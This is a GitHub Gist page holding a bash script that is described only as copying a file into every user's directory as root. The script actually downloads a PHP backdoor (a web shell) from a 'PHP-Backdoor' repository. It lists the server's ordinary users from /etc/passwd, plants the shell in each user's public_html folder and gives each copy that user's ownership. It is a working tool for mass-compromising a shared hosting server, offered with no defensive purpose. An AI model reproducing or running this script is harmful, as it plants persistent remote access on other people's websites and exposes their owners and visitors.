Created
April 13, 2022 16:41
-
-
Save vsec7/87a0cd3d113171a27a1d07289886f173 to your computer and use it in GitHub Desktop.
Copy file to all user directory . *note: do with root / sudoer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
f="file1.php" | |
wget -O "$f" https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php | |
_USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)" | |
for u in $_USERS; do | |
_dir="/home/${u}/public_html" | |
if [ -d "$_dir" ]; then | |
cp -f "${f}" "$_dir" | |
chown $(id -un $u):$(id -gn $u) "${_dir}/${f}" | |
fi | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment